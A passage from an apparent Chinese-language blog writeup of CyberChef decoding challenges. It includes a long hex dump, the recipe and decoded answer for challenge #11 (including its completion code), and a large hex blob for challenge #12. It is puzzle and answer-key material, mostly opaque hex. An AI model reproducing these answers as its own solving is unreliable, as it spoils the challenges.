99 e8 59 32 82 f2 42 71 a3 4f f9 2f 4b 4d 92 b1 3b ea 9d cd 21 d0 bf 32 49 6d a5 bd 9b 88 97 ce 42 18 32 ef c1 33 a2 e0 b2 64 0c 39 82 f0 46 c6 a5 96 85 e8 75 1e 19 33 f4 82 73 4c be bb c8 d2 2c 76 e2 dc b2 91 b1 be a6 63 59 ba cf 5e f9 04 51 46 c1 a0 62 4f 24 0e 5d e3 75 30 2f bc f2 8a af f9 a4 96 ae 5b 3e 90 4a 8d 6b a4 0a 10 3e c3 29 76 cc 8c e0 23 f9 20 ff 48 57 94 61 c9 a5 01 94 f9 e6 31 07 88 26 ca ac 91 b1 c6 67 00 63 1d 97 19 2b 4b 46 a0 28 24 cb c3 1d 67 38 53 57 09 41 01 f4 f3 26 d2 4e c8 2b 44 a5 36 ff 29 e4 4c 9c 52 ec 04 8f 94 a4 75 8a 90 a0 22 50 b8 3a 61 59 89 6b 65 c2 0d 37 a6 f1 00 ec a6 66 fb 6f bd d7 93 da 6e 65 4d 74 ef 75 20 90 e1 22 58 a4 fc 2d b8 be 7c 46 7d a3 32 16 4b 53 1a ce 30 32 06 cc 71 29 0f 5b c5 3d 97 75 5f 31 e6 17 91 20 73 5c 00 e2 1d e1 a5 1e 22 92 90 43 1c 5d 48 da 68 a4 55 91 90 f5 14 8c c1 82 ed e6 d7 48 aa c3 e8 d4 23 97 3d 26 98 57 b2 63 70 20 10 6e 2b 60 64 ff 90 32 b0 67 6f 35 65 61 28 bb 2b 18 04 fd 4d d3 e3 e0 d8 db 04 cd 80 9a 80 a6 90 b1 73 9e 70 d8 28 dd 09 15 91 42 6a 57 21 8b c8 d8 19 1c 52 70 45 b8 e3 c9 d1 b0 52 46 12 2d b6 4a ea 46 ca 8c db 8c 0e bc 92 41 bc 3a a2 7c 52 56 d5 44 46 88 25 93 fe 26 91 ce c3 39 51 6f e0 72 c0 1d 1d 1e dc 58 5b 80 d1 21 b0 18 94 e6 6c ba b8 8d 99 2b 60 b7 94 47 48 6c 20 75 a6 1b e6 bd 9a 93 c0 5a 18 12 c6 0b 5f 6a d8 06 8c a1 3b c4 7b e8 bb 4c 1b 10 f6 18 fc 72 c9 a3 e4 53 d6 e0 2f ef 48 d6 9b d9 04 11 cf d9 9b d9 ad 72 99 7b 13 77 38 8f 31 03 c3 ef b3 91 b1 d8 7f 31 e7 56 9f 67 87 c8 03 0d 4c 71 0a 59 bb 64 99 42 8c 0e 10 01 52 34 56 40 8f b1 a0 25 e5 29 cc 6a 2e b8 90 c0 29 03 44 8d 94 a9 67 32 3c a5 16 7b 46 98 a9 73 c0 c1 a2 ce 2f 88 4f 3e 17 b2 5f 98 1e 29 b2 6b 64 2c e8 8c 34 4b 46 b2 d8 02 91 95 67 87 d1 a0 0b 98 99 01 4b 3d 23 4d 92 17 22 32 59 bd 65 6e 29 e4 0c 07 05 e8 9e 67 9f db 84 dc 80 c6 56 4c 81 b2 d4 a0 7d 12 59 a4 88 dd da 58 73 46 44 ba 6b 84 34 3b a6 30 33 a8 a8 63 05 d1 30 32 8d 14 de 40 26 d0 ad f6 9e bc 2b d1 b4 8b 06 7c 4f 9c ed 7e 46 86 e3 fc 91 c6 87 80 e2 d0 c0 7e ad a6 31 26 db 2d ce 91 df d9 2d 9c fd 0e 79 40 b1 0c 95 ac 45 e4 25 4f 77 57 65 f9 47 49 98 20 59 ed 90 04 12 c2 79 14 a2 1b c2 48 92 a8 92 51 a5 bc 96 ea 5c 53 46 88 2f ed 9a 31 34 43 82 e2 06 a5 e3 78 99 a3 04 83 45 40 0e 9f 82 4b d8 33 9b 93 a8 73 3c e9 0a 94 49 27 71 20 f0 b2 78 4f 51 0a 19 33 c2 c6 66 b0 e7 9e fb 7a 25 c0 51 24 69 10 1a 4f 89 d2 20 8c 8b de 6d 11 82 83 7d 26 e2 ea 61 64 66 80 a2 c6 e8 f0 50 69 61 ab ad 52 47 ed 06 47 6e 3a a1 bc d2 70 c9 5d 57 6c 1e 61 b5 fe 64 12 b1 21 5c 28 58 14 8f 45 df b4 2b bb 62 e7 48 37 32 03 09 27 1a 92 8d b2 e6 47 89 91 b1 3b e1 cb e7 21 0e 54 aa 51 5f 41 b8 a4 d6 78 99 22 e0 35 f9 60 80 c2 87 a0 70 39 80 79 23 95 a5 63 76 23 99 fe 90 f7 0c 87 1e 2e a9 46 bc c8 98 5e 31 45 39 8c 8b e3 82 82 67 ac 63 ed 5b dc 28 fd 21 02 60 75 38 10 88 4e 92 1f 89 c5 41 d3 49 d8 2c bf 6a ef 70 d2 c3 b1 20 71 56 0b 47 de 12 45 e6 df c4 7c c2 da 19 4b 3f f0 fd 76 8e e8 34 44 91 0c 4c f8 65 5f 6d 61 37 47 c2 88 65 6c 99 7b 12 3e da a2 6f 1e 65 70 cc 19 ef 0c 23 56 e0 69 b3 c6 32 1b fa 06 1a a5 63 26 73 61 14 cb 9c 0a 64 90 5d 8b e1 27 1a 4c 14 50 ae 04 24 9e 91 e6 09 8b 0e 90 35 d2 59 a8 b3 91 b1 74 3c b9 26 e1 99 a6 94 c4 a2 c2 5c 42 60 d5 48 1c 85 74 38 75 60 5c 9e 0c 5f e9 49 f3 74 c7 76 b2 03 b9 5a 74 9d ad 9b ec 76 4d 24 d8 f1 38 c8 be 58 8d c5 f0 6e 96 35 e2 99 6f 41 60 fc 06 ce 9d 11 64 6c cd 58 53 0a dd 84 2b 66 c4 23 8c 85 cf c0 1c ac f1 3e cd 81 62 99 19 a2 74 94 4d ea 3f 43 f9 40 06 61 83 34 6a b9 ed af 01 44 e4 25 0f a7 54 65 f9 53 e4 4c fe dc 42 78 65 b8 5c 74 0a 51 e0 f3 c4 0d 38 5c 78 29 a6 ac d1 54 e4 88 f9 0f d2 23 ab c0 a9 c6 b5 65 0c 2b ad c9 fe c5 01 23 12 56 44 09 b7 41 cf 88 6b 23 9b 32 0c 89 79 e2 e5 b3 d6 a0 28 18 6d 3b e5 16 8a 91 4a 9c 23 00 31 33 22 83 e1 c2 19 61 81 d8 71 64 51 df a6 cc 41 81 fe d3 71 65 b3 a4 e2 18 9b 46 89 fd 03 9c f2 40 a0 0d 16 df cf 1d 37 76 68 52 70 4c 45 a7 cc ba b2 f3 31 25 87 fc 60 74 ac 91 31 c4 39 90 ee 30 86 51 22 65 80 e2 b4 fd c2 8b 26 1a d2 e8 ef 2b 5a 9b 78 a1 72 90 2a 6b 10 39 2e 80 87 b5 4b 18 46 52 35 76 3e 70 62 30 56 21 f2 47 11 91 da 40 06 b1 06 5c be 4b fb bb 0f e6 40 43 03 c3 b8 c4 41 30 20 34 22 f1 78 2a f8 3b 8d fe b6 25 04 08 4c 6c 9d ff 7c 17 12 c3 74 94 43 e2 67 0c 2f 9f 97 ca 62 dc 50 88 bc 85 af 59 b4 f5 e7 cd d9 a2 63 10 72 0c e1 2c bf 3c 6f ec 98 44 36 31 22 24 d4 ec ef 6e f1 16 c1 98 f9 1b a7 4f 7d 9d 3a 08 f4 af e9 a6 48 1d 46 c3 de 06 e9 35 b4 60 43 fe d1 66 80 e3 e5 7f 1f 16 b5 44 9e f1 dc e4 2a e8 1e 29 f8 26 cc b7 0f 73 94 19 cd 3d 03 59 bf cd 19 aa 73 79 06 16 02 49 1f a6 7f e0 17 bd 9c 15 f2 46 62 73 b0 a8 1b 25 06 61 df 8c e4 fc a1 27 c4 45 71 02 b3 fb 4a 9c 48 1b 42 5e 73 9a 2f fc 60 fd f5 56 c8 4f c3 7c 42 bf f3 88 cd 20 ae 0c 12 e1 24 a4 4c c4 f0 dd 0b aa 47 d2 31 cd ae 89 19 e6 2e 5c d6 24 ff d8 ed e0 1c 3d 1c 4d 4e 86 67 0c 80 02 72 ce 69 0a 75 ef 68 93 1c 42 6c 22 11 57 74 07 69 4f bc f7 29 1a 0e 21 39 33 d7 dd 05 99 1e 90 4f 4b 2b 9b fd b5 df 89 8c e5 8a dd 6b bf e0 03 b8 18 30 69 a2 bf 06 5c ec e8 7d 39 06 51 ad 0e 10 d5 f3 64 cd 89 32 61 39 7e 0c 43 23 90 ed 51 ba d0 46 7c 3f d5 7c 7a 82 07 22 2d 10 c1 6a 63 38 c9 e6 4d de 6d 11 53 1c 2d 8c 9b 82 e3 5f 61 d3 34 8f 44 2b 4c 8b b3 fa 1b d8 f7 40 88 39 21 74 1f 3e 96 a2 a8 ff bc df db 9f 48 ed 74 e7 38 a8 2e e6 6e 44 64 8a e4 33 75 1e 28 59 48 a6 bd bc b4 75 fb 10 40 56 8f fc 64 bd ab 10 be a8 a7 c3 98 20 dc fb a2 c5 fa 8b 1f 85 d1 84 56 84 a1 a1 ae 2c 6f 0e 90 5d 08 a2 64 5e de b9 15 b7 4f 3e 07 56 61 cb bd 63 4f c2 32 06 dc a6 cc a3 15 4f 94 f9 e6 e1 1e aa 33 a9 e7 20 af 76 d3 fa a0 32 09 06 60 1b d7 47 1c f2 46 4a ce a9 6f 7f ca f6 e3 1f e7 8c 9a 31 84 84 d8 43 f9 25 0b 82 79 4f fb 7d cd 33 e3 76 c5 f7 a0 4e 38 3d 76 b2 73 6b d3 d2 dc e1 64 aa af 46 eb b6 be 1a 8e 8c f5 1b 50 5a 6f 6f 04 2c 96 0c 65 02 b7 c4 48 9d 25 43 eb 9d 48 21 92 25 a1 0c af a6 04 7a b7 04 72 d2 9e ff f5 bc 7b 97 f9 7c d7 eb d6 f8 55 c4 00 9b dd c4 49 fb f5 eb e7 ef 79 63 dc 13 09 43 0e e3 4e f7 35 57 59 b9 d9 0b 8c f5 0e 7b ca 8f 9c 66 f3 c9 51 5a 3a 0b 9a 1b 42 f3 96 df af fc c2 35 80 da 21 50 bf 90 a0 fe e5 1e 35 da dc 2d 26 ed 08 04 ff 01 83 ba 39 52 ae a4 ef c9 35 d2 2b 16 46 79 da b6 09 9a 77 2c 32 56 63 cd ed 77 d2 b8 f5 43 54 0c 9a 8e 6a 08 48 75 90 32 a6 d6 42 44 2c dd e8 ab ff e6 11 20 8e 05 9a 93 6a 01 a8 b3 ec d4 6b df 66 d1 a9 f5 eb 5c ea a1 40 11 be 65 a9 5c 1a e0 9d 19 dc 52 20 86 3a 76 9e b8 ea ad ae b3 b3 16 19 6b ac 7e 9a 5d 08 08 01 21 20 04 04 80 90 68 f2 04 44 46 ba dc 00 34 fc 21 20 04 04 80 90 10 02 42 20 b3 88 08 8c f5 16 7f 0d ae 04 04 80 90 10 02 42 40 08 74 39 02 22 63 5d 2e 00 5a 3e 90 10 02 42 40 08 08 01 21 50 d9 04 44 46 ba 0b bf c6 17 02 42 40 08 08 01 21 20 04 3a 9c 01 11 b1 ae 17 00 2d 5f 08 08 01 21 20 04 04 80 90 68 ac 02 22 63 1d c5 df 23 8b 01 21 20 04 04 80 90 10 02 5d 0e 80 c8 d8 17 8b 00 96 af 04 04 80 90 10 02 42 40 08 74 16 01 11 b1 ce e2 af d1 85 80 90 10 02 42 40 08 08 01 ae 47 40 64 2c cb 85 40 4b 97 02 42 40 08 08 01 21 20 04 3a 0b 80 c8 d8 67 71 d7 e8 c2 40 08 08 01 21 20 04 04 c0 17 a3 20 32 56 e5 82 20 e5 8b 01 21 20 04 04 80 90 10 02 1d c5 40 64 2c b3 f8 eb 74 21 20 04 04 80 90 10 02 42 20 cb 91 10 19 6b f2 01 50 f2 85 80 90 10 02 42 40 08 08 01 ce a2 20 32 56 d9 7c b5 3a 90 10 02 42 40 08 08 01 21 50 e5 88 08 8c f5 39 80 68 79 c2 40 08 08 01 21 20 04 04 c0 67 11 78 bf a5 12 33 3c 89 ac 95 83 00 00 00 00 a4 a2 27 22 57 21 30 41&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;一眼十六进制，但是应该不止，因为转换的结果不是预期的文本：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;905&quot; height=&quot;267&quot; src=&quot;/_astro/image-20260306214853318.IMnStE70_Z1kf0Um.webp&quot; /&gt;&lt;figcaption&gt;image-20260306214853318&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Magic解析一下：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1782&quot; height=&quot;436&quot; src=&quot;/_astro/image-20260306220219553.B_zRH7h0_1mHHnB.webp&quot; /&gt;&lt;figcaption&gt;image-20260306220219553&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;显然这些结果里，UTF-7（65000）的entropy最低。&lt;/p&gt;&lt;p&gt;但是花费了一些时间尝试之后发现似乎并不是正确的配方。&lt;/p&gt;&lt;p&gt;于是我回来尝试其他的配方，我首先尝试的是第一个&lt;/p&gt;&lt;p&gt;Rotate_right(Z,false)&lt;/p&gt;&lt;p&gt;Render_Image(‘Raw’)&lt;/p&gt;&lt;p&gt;期望的结果出现了：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;&quot; /&gt;&lt;figcaption&gt;img&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Congratulations, you have completed CyberChef challenge #11!&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;This challenge explored Bit Rotates and PNG images. To learn more, visitwikipedia.org/wiki/Bitwise_operation#Circular_Shift.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;The code for this challenge is f9d3a77e-e968-42b9-a5b0-08a0d1ff3754.(OCR might be useful here!)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;The next challenge can be found at https://pastebin.com/LQvmXgzW.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Recipe: From Hex —&amp;gt; Rotate right —&amp;gt; Render Image&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;#12 Hexadecimal &amp;amp; Zlib &amp;amp; Base64 &amp;amp; PNG&lt;a href=&quot;#12-hexadecimal--zlib--base64--png&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;789cedfd4717bad8da370c7e23c969f00c88419280c41959244a12fdf4efe5bfee73aaeae91ef5ea49f7ba7599336ef6bec22f44574454ba892583e2020741d5435c0fe05a32c119fe462f165c62de8d3642b8125cf01497afca6ab6c379d9e464f84a9fdcf35f37affde7e9732e8fc76bbcbd24fb7c7fe1e8e662dd56ccee67f6ee4592d4faf7d623bcab12af3679271285d466995af6534cb42796a0717189d74bb05e8afd427f2eb4802b018d7a421d9162804a018a05fff39c50a73f68522945fc7cd38a7b91dd8b7ebfe0e605a7682a28f9ecda214487201da2bc2f7f3d2ef3a856163c2d25e9fffd3922990ed4efb51782fafb75e82560f8ec32859f48fde767c3eb92dd312feedf9ff9e77578478b6832c8a86a7e685abcb0fff8cea8c63cdcbfbfcbffbc0e83f77234f6b231eedfdfe57f5e57f2e9fcff8ddf20938b7a4a1445adeef7fb0ce218fb7e3e2449d396d5792269fecfe7c94d17bebfdf65593d4192d6f9e57ce330fc9cb665d7c5d3b927dfcf6b59def4711c9da684f33c63d8eb45f20b7dcbef7ae023f9f2fd88b7719ed3473844598ef17098c6f57bbfdfbb57fb7c2a5696e771c40b0c4d7fcdb192e07b0cef4e79f3a2f81ab1dbf3d8f7fddd7d44149b7b8aa88719e970d5c9f367db9a58dbfa3ed97e3e1ff11897256fbcf82cbbae5b30da725dbcb13cefec7dec7bf97ebf9d36c6799e7318cb562d3ee9eefde9d92bcfd39aa6298a2f5104f17a7ad753cb4952e471e57ef9bdaff179d8972f47c4696e8ecfa3aaf6b75fd779963db1c7e3fc9089eefaedd5ce5ff41086fdba8fd8f3f9e4cc963d1eeb665f4d2cbec31791d6ddf1ef5d8e619877efb2ebf97eebfafa7665ad83afbd20a27fff1e5b9c3df3ecf5f9b8127ca1d5ddb66d18d364acebe3fcb4a2aaaa6f2ecf97b7df87fd3812f522e4424fddb3be573ccf23f024aca6485860bb18eeba57515cb4b1d5a39fef97636dcb528c61bbd5d6eb3e357b82783e2110f3f976bd3008ba05255f9f37ee389655945ddfcf4bc81aa61917efaf846197db22bc76e7760b6b51fc7cdeddd3ec664290c2fbf27a0ddf4aea96e8e11124b95e617b4f3004f22491f0716e5d551d3a8529e1f73eb12c7b9dafd58df77cf2cc247290a1bc982685218d80a0e8fb4a4ff3bc2c8a2e4c9ea269fdcbf77dc77690f070cf076c8b054355dfc529ef9a4cdda03aaf10c3345926a91db6ed53b32bf653f635fc37a845f30211fa8cd037b05f948d885d8fd9a9ea3aacdaf603a3899f60402b8a12e6c497896eb7ba286b2e8ea20769cb63e84c66e08fdfa5effbf74d2946f86fbe67234651f4b6052a6bb57bcf3f7c1f4590b1720711c670bf2da7e0bcc6183e826f9ecf63487b566d8ea31ea21339df4d925b36bc5d8d8bd55ddd1fe7f911c7521d04c6f73fd39529e13fa831558d9af9f4fabffea743da5f9e12b4cf28ab6f37874dfbd7cb30618c9d1ff4c24b127559dffc05eb269ca214e5f3f10d93a452955e387c5bddfb3d8fdfac70e22bf6360c12453ec2e238fbdb63ca799a722c8e359f4ce76d67d5615928a65f478aa6697e758c3292c2562d4bb9c37513f9b0daa36404118d615c919265338260456a258cbe7ebadd387e7a637aa8b69437e35cbd8c454fb5aaa71e9f2517c44a87b1db0d35671ac66316b3e822366ff8efbe31ec475ff4e3fb776ab99b8ef91c06d5c5b24ddcc9e368e9641106e1acac80dd4c0ae61b1746dd67bd355de639cecba8cd77a67902cc238bfb10606cbd27e5dde8a639f6a4cfe7af4a988761589463b7ed7c832de4f5b0ad70aafbcd55fd6e185955fa685b3ec52ccb863dfb6cdbba1689e5dcafb4be2cc2ed3738b1e160d7febe3c8ff33cbfab68903065ddec72105cac69898b06f3942884154b92516057bf39121b25f85f248a3e83be88d0711cb74394605f788953146a661f3e9e1477bbdf9f8fcb895bc2b5e81026d59831c7eafae68bb19461d8b8d2f37c7eefb7bef9fda7f09e8240083ac607ee2e5f226595d7f67e47d1e1cd73c7d8c104adbcd7f17a4d9bc7c1c1549651b22cbbc2ebf55a4c4d6b3646545c9b2088220ffd371b89a2cc717514d43b190f82424668602876e51cb6345d3632ab60b6ad2a49bab6dcf69b236177a44be4d2641729b34a98678ad4329036fc4c30c63415ce6ef674cf8ac4645cef91a6dd2b8a63c5d6484de5be84d3441f59730cf6037fd8142ce4e3b7ff59f6e3f168f33aadcaad73f381fad6acc4bac2363d9d935f8f631d94d981792b2e7d0ff6bdf3edeb98b5c3d28355576b713a4210451596a81927366186ff67395ecd1c13425aae0d4ad712f6e66e378bae866d2b0b2f1ebfd3844bb1c4613e161feb8a06dca75ed2347d904d8eb9ae7b277c078538c4f7c57d15e64015fc25799d232ece1166e20465dd2549104f3bc061f090f1a30e5b7744da0edb57e3e310e6e2e408de346fd87ac32a0f36fb10b67d9f8c5bf0100a82ccd141e3fdbec14ec59afae45da31fe7f21c2fd7313d9b6d2be48f6b70166a74a1aef96dbf9188e0a8177f166fb692c47c82052a47350dcf8bbc5363f63a1cf1b3873f1bfe769ad894f214a5bba9ef18469159db38b0748a224bc7b9ca23e63b22e9417b8525cbadc150e8de38620445dbf6b54d61474d5cdf5735e7b87af07f9a2f6cb8593d7c8eb877b100df47536eef87e988d2f7581d447a3eef77dfe17cdcb81679cff4c1b1a58714b9a928a449325d6f81331b1eff556fdd1ab919a239f4fb3cd3782aba522ea9af261c76fb942832fad692d13ae3ebb51fb57dd2f89cf07423d1e959cee7a5fffa9fd73cbf6d95a0940356ed0cbdc17e903ed64f9be5d57b30eefd89b2e8552018b7a42498788f8f33bd3e32893a98920632b3d4f37cbd53cfd7e73c3da71b318eeba9f7f8f13bdc513b9ebab04944dd48d2f0f0623a31dac45016e124c61878ba4d3e9b9795ecca4de5e5958af7659a761e59f3d5129639d2c9607d0933ac7dd3ce3c39f49030fae8398341152fcd6fb1fb8eae2feafce456ffe29725d36dc1589bd45d99ae575a8d7a79648777b816a1153709a515e3b235d869bc0bc6e49e30e6d4ea4bf8b0eb5c192f68d050dbca780bf548ab257e38608e091b016515c76fda53a4be9d1cbf3b9781dd00fe82dd40296b2582c2fbbeefbe0a7184759e8f2826f08af51f79cacbeff76d9515a585e8b3bb8bb7142b71e54005254cf7a2965d53d12c33d9184a15b603eb3b899227ea6e105cc9aae5e4d955b5b4a5577fec4e270299689d80e81a4c75232f25b576a07289e76d927e1bbd2a5d3dd7b5e0d7f75ddf36e5ea5e1188c3e64543b3425019e1c6441dee2903cf3a95124dd446bb9b25c3f88f7ba5db4d8930f2c87fdb582b7335723c11241873f590205cd165010fdfaf1c024c9614bfc2701f23738fbb2d165f99ac19655a734c886cc1d7262fa7a63d1f0f9282b1eb8afcbbebe4f1948d5cb3d9b04dec1bc47ded5336352b4b2e5cc93f027d37f8f153a651ff2891710e9e371c4ddcb35a9b078e5fc683e21ed845595fb3faac39b17d6f11dba71e631e86d936c4b7b31f853cb31bac967cf7d82ef35d25f1b593e9176e5b8e745af26e9a64e1c9d3c6a8fde06cd75a31210427caa4942eb4815db8cb8c21c123d31fcc943f82669ce832c20e6652e6aebb90cae68ae4c308bb1d97f34114ab0a2172be25717cb53ef77b8987ab826845a32976d9adcf812a6a492bb28be6ab5155e25f07426f8f58a712631e841c3dd8f49a78be597836c78f77c7492aefbae2591acb3a1dd1083fc5c87aa8be83e737777e452ad59503fa306f36fb2cdfbf18972eb36e2ff8eb3ed0678aae0a71c54236d80d4aadc9f03a5f733309f142f4f9c65214180b5e938e9173841f3a9faacb45332d510ffa47e8a16c5e235367f93da1ddfdaca7d548b3bb310c9fb9cca95a8590ca939f60bfeb3e611618238433cfef380c27650d2a157618f91e28ca711c9fb8ddee9ef038b0ac65ec19472eef1843495278cd5c650a97fe74c3c258d72766dffb01a953ad29f693c5e6fc69fb029eacf7a99a9d2c81584e93d50b51c453a49c1f8885b197880f274b87a134d33643db744f42505550467ad07917693e4adc104d2b73b1f5775893c80c653144cc037ddbe26f56d1c73b4b1e0d998be24d08de37144d022a4b0dc3d0624f239ba0c72208006d55422f6fc8720688c331e6a51a2ff8132705e62bf76ae3d9de0729f16a45cf7d65c168929fc6cb2d4ceca2778822f4e98849c0c66e1ca351dbe0d2e7e119dce3d1f55c7d7dd2f8972755973308c62477247598fea696f8140772f3f2316d971f6fda25106e732627f0181aef4c2544be358145f5e73260da3dd86f5746c6102134c3e4c5aa37130f925070aeecfda1fb1b95cec44526b8811120ddfa14df05e2f70f325c7031bba998f1a02c23311cf1f1c821d07462d52dc9b0435b8eb8f09e1d2086236b4121eda3bce1be49457aa0b6a93515ebf1ae5544a854e15a12ea7e253d5fc5af5d57685e6b0f538428781ebeba86afb8e265582a7e2234dd3863c78d39aba068194828828d813fb845926b5251778d915e94ea55c35742e4c6d835cd252a5748bc77de5eefae9ae9a5f498c8c285d82b62338d7e3211653ec4ec117786b8115c51ea8942d8f32dba47088a8f09ebece5f85a3f72b36b23cdfbea8d69197628cca990540fc5fb4a5bc32cd9766ca5d99b6d8d4598849a98df27f67c58ca778d241fb1d99abcc81cd5d637c656afe2956bc58054dbb25b06b782352ad32758d5e8a8e06f64284fedae918f870efbaeb57dd05822d19030f02941f9811e3facfc469b6c8640f97b5fc74a2e2b5a4edb9ebb893d4ec99dfeb4f1b2f77b88d29fe881aa4c880f28a6d46ad8ec2f3789f279a188aea7e7cd5199b6ba12947119490cafc23294971ba1b88679b00563f9bcc5633bfb8135ce202435408828dcbd637aaecc7213e9e929bbcbeb4195465b42bc93770d7b69141ed1211016dcea0171fff4da92cff42517b2f9eaae5cc0361548f42246d61e5edffbf8846dd1abb350c971133b51d9d130b91c435fca95eda62fd922d06c1e8396cc86c8961fb762b4204709c399dce644d80bda91b61d6d5323af61612a2f2d867824594e8d93144a99255753f7585fb06dfbf39215cbbe27aadf265f08e4533217ae0956235f2feb79780c16f787068be7ce46cc753eb0b46c5a967caf98ab6f62d6c69160bed51437527548e89b40371f76a1ab6cba4cd8770a87cad8d5bbe11d9f924174fe12d1a836d55a449f6cb27e0cb5e9f34db05d598d9dc329ca4f43e2519245d751671d8eab780ab9d903cac934be27cf07a2e4d4c339f871b7eb69a613c820086160af74324af2e615e26657737138fe1e0a0b562ff8b7547be34609a74df4f823422d85461957602c88b6cf739ea92c34f877d25f08238d8a094f7218e8c765b7d33bdc77380b219b5f288918d23c6a0d82b80f992807acb80b92def014ad4754619064bbcbe77db6ea5a8fec8bc941d09a526b5ba4573d22363c0bc2b26c3f8ece92fbbbf9360b9d0e8ddee20c91d2fa71dc083b69aa575edd986ff9a1af906421099786f8c6634848a1e3de60967a2561227757d9b19843a15ff6426a582bd97e710ad43db55b047290def632754f4b36179f024ae9c175bf76dbac06109b12986baaa51a412ab4544e81ab0bbafb9eb09a68ba5a75cb2857e12b07c7297572501f317fd156a29c793ccb59f5eada8e5b2e0dcc23ece3658b514e23fa61f34fc71588b42f8e5531d5208a8d21a2d95d5011911805b924aae9b6eaf31e9a323ea6c8acbddaa6d19d869385584fc700f23133e8e929512d973f710a6225e98597343e6844549cb4fe3dfcf2754bb8b10dd392cee6ea711582078cbf70504ba8900d64d22438fd227be5867f2029206b4377dd2923440ea2b838df0dcb867df95926c9cc4c158ed5a8c7e0cd8bbdd5df6cdaaa46a97c2cc0775d778c079e3d82446e3924d5a7e02c17a73a7a58fdf29abadc866b315f6408df23445ed2c26ca7b2b8397128df60480593f1d01f353e94f0e3984bb659cb68de1e6894a73b177902fc93bd1b5edcbcd2350c42c1bd38546229ae10b7d089af49f3659f624c991fcd5b277a137974a53465f7c649d3b5449aaea834c3e58f6617827e3f277f76eaf13b7f421c6392e8ee7d4b09c2a327738369dd1004c326bea53c5f3aaad699c5493abad3f94141b7719b96093f19b464b562b31a8bafd897a27eb46259f1a4b8c5abb4be9f96edb2d5985f91887c2246c29aef853464b4abee829a548eca9d4ebfed1a133dda99212e6a5193da1b3f1fd7f6f7f73548d6eab9664ac3f6506fef80361c8631871c6792172aa9c25049242b7084c172a139750d932982af913151aedd24a8e21712b170d887c1803440b1fd7ed1c2962e1c1853d2cb90c4c4e3beddd528dd8d639492cdc43b0c0c7c6442767daaeec9102ac2df04b47db5ea1e151b32ded105cf5628e2cb35cd2f3be3c78d7342b5e4d3631c8cd39b22aee9e176bbccdd39b389594f9797d328d0ea33dd75f6ac55a6e856b15f79a5df62f98687f7cb77922ba2e14c2c743bf97dc5955a0f589a90106d8d15b92cf592efcfabd4722704de255d4cd57dc7acb7ee5ab389890ee98aa873faca834254419afa31a9ee6264c250e2d394cce2fa66af25577d49bd7b198a4efb10160aa9ebe4d90563d3f9b3998465d5ef86700bd46719896bfefddf1732efdd1932e82ccb586742de73ee75e0918ff2b4fd5ea5244c745bc2aeadca3a875213337571d9db53ffe0ce56189eb0e1c2ec195310ab3d51444925bf452b441e5390dd163cb5fb699d922974fdb036fcea132dc8809531ea212d95fbd8eb811bb9ea0cef62694df9f256cc4dbee24698d4e59bb48cd7a0e5dc5524be38e456fd9380d8a845bc88315b1292854ca96f98d85803d4d9f82f7253154ca3d8b225048cf8fc89156941d6f78fa16ccdb577f8e7945d718d2dd8ce99e307ec779f547a10f72a9937b4f3d28c135873a9a5c97841a6840a448cebed23bf7fcf63f910657f9b631802a540d373b029d3c1deb18c3e1334bf8ccfa7540b6101e1faad538c6a5b48196326cbc2fc6a3d6fbae144afe0ebceaea5aab9a62597e6c62d4388f92147cb655de80371c3909e8cceee3d246d4d2793c527dcb9d00f77e03f0c831fd82405ee3a3d2a947669d2154adcdaf381b0f128ecba4a66f947b27ba94d66e3d3b1d79361a18551e52c8aeedc25668292c264dc0a3a3dc9ec17af15a502b913ec9d25525349c699ef33bc5e3f2cac7a4d0a51e702db16c2b24f134351e345eff9b1c6555095871c94fe584c7165d1793aebc1c14f5a1b5d27b9dc7181a8fc8cb34d6a502eb9d5e2183de1e607538802315254090294f98a34c4998c6a34ee2f2fa66e0fb1fb30ab41f0fa8b109fbd52d55d32e5924bd29e9522cc87adb29aac8495d1147cf2c8dca6eaa10db742eddf4a0121c4218f86dff810537ee2eddc6464b5ae4d30ba3de347dc354adeb6e370cf16c67b74c99241ad6e29cc129e9044e4b71424f99b5e1e011a5d8a57784b65d422c4e46a284cdb58b5a330d64bf1231e8bb893714458969d03a28782d0198fd867c31c8c9032ee0e1fb9cca6294c7d89ba0b06d5859cb82f28e2a404fa38ec94b9909c555